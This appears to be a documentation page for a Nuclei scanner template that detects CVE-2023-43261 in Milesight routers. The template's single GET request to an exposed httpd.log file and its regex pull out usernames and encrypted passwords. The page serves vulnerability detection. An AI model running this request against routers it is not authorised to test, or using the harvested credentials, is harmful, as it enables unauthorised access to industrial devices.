Milesight Routers - Information Disclosure
ID: CVE-2023-43261
Severity: high
Author: gy741
Tags: cve2023,cve,router,milesight,disclosure,unauth,iot
Description
Section titled “Description”A critical security vulnerability has been identified in Milesight Industrial Cellular Routers, compromising the security of sensitive credentials and permitting unauthorized access. This vulnerability stems from a misconfiguration that results in directory listing being enabled on the router systems, rendering log files publicly accessible. These log files, while containing sensitive information such as admin and other user passwords (encrypted as a security measure), can be exploited by attackers via the router’s web interface. The presence of a hardcoded AES secret key and initialization vector (IV) in the JavaScript code further exacerbates the situation, facilitating the decryption of these passwords. This chain of vulnerabilities allows malicious actors to gain unauthorized access to the router.
YAML Source
Section titled “YAML Source”id: CVE-2023-43261
info: name: Milesight Routers - Information Disclosure author: gy741 severity: high description: | A critical security vulnerability has been identified in Milesight Industrial Cellular Routers, compromising the security of sensitive credentials and permitting unauthorized access. This vulnerability stems from a misconfiguration that results in directory listing being enabled on the router systems, rendering log files publicly accessible. These log files, while containing sensitive information such as admin and other user passwords (encrypted as a security measure), can be exploited by attackers via the router's web interface. The presence of a hardcoded AES secret key and initialization vector (IV) in the JavaScript code further exacerbates the situation, facilitating the decryption of these passwords. This chain of vulnerabilities allows malicious actors to gain unauthorized access to the router. reference: - https://medium.com/@win3zz/inside-the-router-how-i-accessed-industrial-routers-and-reported-the-flaws-29c34213dfdf - https://github.com/win3zz/CVE-2023-43261 - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-43261 - http://milesight.com - http://ur5x.com classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2023-43261 cwe-id: CWE-532 epss-score: 0.00565 epss-percentile: 0.77715 cpe: cpe:2.3:h:milesight:ur51:-:*:*:*:*:*:*:* metadata: verified: true max-request: 1 vendor: milesight product: ur51 shodan-query: http.html:rt_title tags: cve2023,cve,router,milesight,disclosure,unauth,iot
http: - method: GET path: - "{{BaseURL}}/lang/log/httpd.log"
max-size: 5000
extractors: - type: regex regex: - '"username":"([^"]+)","password":"(?:[A-Za-z0-9+/]{4})*(?:[A-Za-z0-9+/]{2}==|[A-Za-z0-9+/]{3}=)"'# digest: 490a004630440220385a9e22d345929936a272430f6f97ae8f1107146b885924d5fd1d193a8fd5650220356f81bcf4defe279e3564bd54ecad07261a7add71368bc0d30fcd9fe21d48f5:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-43261.yaml"